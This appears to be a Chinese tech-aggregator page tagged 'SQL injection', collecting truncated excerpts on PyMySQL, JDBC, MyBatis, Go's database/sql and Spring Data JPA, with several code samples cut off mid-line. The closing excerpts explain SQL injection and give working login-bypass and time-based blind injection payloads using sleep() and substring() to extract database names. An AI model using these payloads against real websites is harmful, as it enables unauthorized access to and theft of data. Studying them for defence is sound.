sql注入

PyMySQL

江枫思渺然 提交于 2019-12-28 11:17:15
准备工作 使用python程序操作MySQL数据库 安装pymysql第三方包: sudo pip3 install pymysql 安装第三方包pip3 install 卸载第三方包pip3 uninstall pip3 list 查看使用pip命令安装的第三方包列表 ①导入pymysql包: import pymysql ②创建连接对象: 调用pymysql模块中的connect()函数来创建连接对象,代码如下: conn = connect(参数列表) *参数host: 连接mysql主机,如果是本机是’localhost’ *参数port: 连接的mysql主机的端口,默认是3306 *参数user: 连接的用户名 *参数password: 连接的密码 *参数database: 数据库的名称 *参数charset: 通信采用的编码方式,推荐使用utf8 连接对象操作说明: 关闭连接:conn.close() 提交数据:conn.commit() 撤销数据:conn.rollback() ③获取游标对象 获取游标对象的目标就是要执行sql语句,完成对数据库的增删改查操作 调用连接对象cursor()方法获取游标对象 cur = conn.cursor() 游标操作说明: 使用游标执行SQL语句: execute(operation [parameters ]) 执行SQL语句

java连接数据库 JDBC MySQL

泄露秘密 提交于 2019-12-28 09:17:56
另:准备工作 电脑安装MySQL,安装MySQL可视化操作工具Workbench,创建好数据库。 一:连接数据库 --1--导入mysql相关jar包 :mysql-connector-jar(手动导包过程在另一文章) --2--加载驱动 --3--通过Connection类,填写待连接数据库的基本信息 package jdbc; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.sql.Statement; /** * Created by Seadragon on 2019-12-26. */ public class JdbcConnect { public static void main(String[] args) throws ClassNotFoundException { Connection connection = null; Statement statement = null; try { //初始化驱动,加载驱动 Class.forName("com.mysql.jdbc.Driver"); //Connection对象的连接,填写待连接数据库的信息。连接相关数据库 connection =

备战2020春招,这次彻底搞懂MyBatis,这些面试题没白刷(附答案)

﹥>﹥吖頭↗ 提交于 2019-12-28 02:54:15
前言: 春招面试题MyBatis篇来咯!!! Mybatis 是一个半 ORM(对象关系映射)框架,它内部封装了 JDBC,开发时只需要关注 SQL 语句本身,不需要花费精力去处理加载驱动、创建连接、创建statement 等繁杂的过程。程序员直接编写原生态 sql,可以严格控制 sql 执行性能,灵活度高。 最近有好多朋友在准备春招,所以小编也会多出一些面试专题的文章给有需要的人,所以记得给我点个关注哦 一.MyBatis 框架的缺点: 1、SQL 语句的编写工作量较大,尤其当字段多、关联表多时,对开发人员编写 SQL 语句的功底有一定要求。 2、SQL 语句依赖于数据库,导致数据库移植性差,不能随意更换数据库。 二.MyBatis 框架适用场合: 1、MyBatis 专注于 SQL 本身,是一个足够灵活的 DAO 层解决方案。 2、对性能的要求很高,或者需求变化较多的项目,如互联网项目,MyBatis 将是 不错的选择。 三.MyBatis 与 Hibernate 有哪些不同? 1、Mybatis 和 hibernate 不同,它不完全是一个 ORM 框架,因为 MyBatis 需要 程序员自己编写 Sql 语句。 2、Mybatis 直接编写原生态 sql,可以严格控制 sql 执行性能,灵活度高,非常 适合对关系数据模型要求不高的软件开发,因为这类软件需求变化频繁,一但需

golang——database/sql包学习

故事扮演 提交于 2019-12-27 10:00:09
1、database/sql包 sql包提供了保证SQL或类SQL数据库的泛用接口。 使用sql包时必须注入(至少)一个数据库驱动。 (1)获取mysql driver:go get -v github.com/go-sql-driver/mysql (2)代码示例: package main import ( "database/sql" "fmt" "log" "time" _ "github.com/go-sql-driver/mysql" ) // 检查错误 func checkErr(err error) { if err != nil { log.Fatalln(err) } } // 事务错误 func checkTxErr(err error, tx *sql.Tx) { if err != nil { log.Println(err) err = tx.Rollback() checkErr(err) } } // 数据库实体 type User struct { ID int Name string Age int Sex int AddDate time.Time } func main() { //1、获取数据库连接 db, err := sql.Open("mysql", "root:123456@tcp(127.0.0.1:3306)/test

MyBatis ResultMap

时光怂恿深爱的人放手 提交于 2019-12-26 23:40:28
MyBatis 真正强大之处就在这些映射语句,也就是它的魔力所在。对于它的强大功能,SQL 映射文件的配置却非常简单。 如果您比较SQL 映射文件配置与JDBC 代码,您很快可以发现,使用SQL 映射文件配置可以节省95%的代码量。MyBatis 被创建来专注于SQL,但又给您自己的实现极大的空间。 需要配置的基本元素 1. cache – 配置给定模式的缓存 2. cache-ref – 从别的模式中引用一个缓存 3. resultMap – 这是最复杂而却强大的一个元素了,它描述如何从结果集中加载对象 4. sql – 一个可以被其他语句复用的SQL 块 5. insert – 映射INSERT 语句 6. update – 映射UPDATE 语句 7. delete – 映射DELEETE 语句 8. select - 映射SELECT语句 配置注意 SQL 映射XML 文件只有一些基本的元素需要配置,并且要按照下面的顺序来定义 写好SQL语句映射文件后,需要在MyBAtis主配置文件mappers标签中引用! 例如: [html] view plain copy <!--mappers是告诉MyBatis 去哪寻找映射SQL 的语句。可以使用类路径中的资源引用,或者使用字符,输入确切的URL 引用。--> < mappers > < mapper resource =

spring data jpa 全面解析(实践 + 源码分析)

六月ゝ 毕业季﹏ 提交于 2019-12-26 12:01:44
前言 本文将从示例、原理、应用3个方面介绍spring data jpa。 以下分析基于 spring boot 2.0 + spring 5.0.4 版本源码 概述 JPA是什么? JPA (Java Persistence API) 是 Sun 官方提出的 Java 持久化规范。它为 Java 开发人员提供了一种对象/关联映射工具来管理 Java 应用中的关系数据。他的出现主要是为了简化现有的持久化开发工作和整合 ORM 技术,结束现在 Hibernate,TopLink,JDO 等 ORM 框架各自为营的局面。值得注意的是,JPA 是在充分吸收了现有 Hibernate,TopLink,JDO 等ORM框架的基础上发展而来的,具有易于使用,伸缩性强等优点。从目前的开发社区的反应上看,JPA 受到了极大的支持和赞扬,其中就包括了 Spring 与 EJB3.0 的开发团队。 注意:JPA 是一套规范,不是一套产品,那么像 Hibernate,TopLink,JDO 他们是一套产品,如果说这些产品实现了这个 JPA 规范,那么我们就可以叫他们为 JPA 的实现产品。 spring data jpa Spring Data JPA 是 Spring 基于 ORM 框架、JPA 规范的基础上封装的一套 JPA 应用框架,底层使用了 Hibernate 的 JPA 技术实现

python模块之pymsql

梦想的初衷 提交于 2019-12-26 07:47:41
◆ 数据库增删改查: import pymysql # 创建连接,charset指定字符集 conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', password='xxx', db='sys', charset='utf8') # 创建游标 cursor = conn.cursor() # 执行sql语句,返回sql查询成功的记录数目 cursor.execute("select * from sys.names") # 获取一行的数据 row = cursor.fetchone() # 获取第二行数据 row = cursor.fetchone() # 获取所有的数据 rows = cursor.fetchall() # 获取指定的条数数据 row = cursor.fetchmany(3) # 插入单条数据 insert_sql = "insert into names(name) values('demo1')" effect_row = cursor.execute(insert_sql) # effect_row=1 # 插入多条数据 insert_many_sql = 'insert into names(name) values(%s)' effect_row = cursor

什么是SQL注入式攻击

亡梦爱人 提交于 2019-12-26 00:32:34
什么是SQL注入式攻击? 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。常见的SQL注入式攻击过程类如: ⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。 ⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子: System.Text.StringBuilder query = new System.Text.StringBuilder( "SELECT * from Users WHERE login = '") .Append(txtLogin.Text).Append("' AND password='") .Append(txtPassword.Text).Append("'"); ⑶ 攻击者在用户名字和密码输入框中输入"'或'1'='1"之类的内容。 ⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT

Mybatis JDBC->Mybatis

社会主义新天地 提交于 2019-12-25 19:48:17
  1 什么是JDBC   Java程序都是通过JDBC(Java Data Base Connectivity)连接数据库的,通过SQL对数据库编程。JDBC是由SUN公司(SUN公司已被Oracle公司收购)提出的一系列规范,只定义了接口规范,具体的实现是由各个数据库厂商去完成的。因为每个数据库都有其特殊性,这些是Java规范没有办法确定的,所以JDBC就是一种典型的桥接模式。      2 常用接口   2.1 Driver接口   要连接数据库,必须先加载特定厂商的数据库驱动程序,不同的数据库有不同的加载方法。共有2种方式。   2.1.1 Class.forName("com.mysql.jdbc.Driver");   推荐这种方式,不会对具体的驱动类产生依赖。   例如: 1 // 加载Oracle驱动 2 Class.forName("oracle.jdbc.driver.OracleDriver");   2.1.2 DriverManager.registerDriver("com.mysql.jdbc.Driver");   会造成DriverManager中产生2个一样的驱动,并会对具体的驱动类产生依赖。   2.2 Connection接口   与特定数据库连接后,Connection执行SQL语句并返回结果。DriverManager

SQL时间型注入

匆匆过客 提交于 2019-12-25 19:44:03
SQL时间型注入   判断时间型注入时,只要让sleep()函数执行成功,那么就可以根据回显时间判断是否为时间型注入   在时间型注入中,常常用到if()函数,if(语句一,语句2,语句3),如果语句一为真,执行语句2,否则执行语句3   几个常用的判断函数,substring(),length,user(),database(),下面是几个判断时间型注入的常见语句     ' and if(1=0,1, sleep(10)) --+     " and if(1=0,1, sleep(10)) --+     ) and if(1=0,1, sleep(10)) --+     ') and if(1=0,1, sleep(10)) --+     ") and if(1=0,1, sleep(10)) --+    type=sleep(3)--+  这里有个参数type,判断出存在时间注入,那么接下来我们就可以和盲注型注入差不多进行注入,在进行字符判断时,可以使用二分法加快速率    1. 判断数据库长度     type=if(length(database())=12,sleep(2),100)--+   2. 判断数据库名字     type=if(substring(database(),1,1)='p',111,sleep(3))--+   3. 判断表名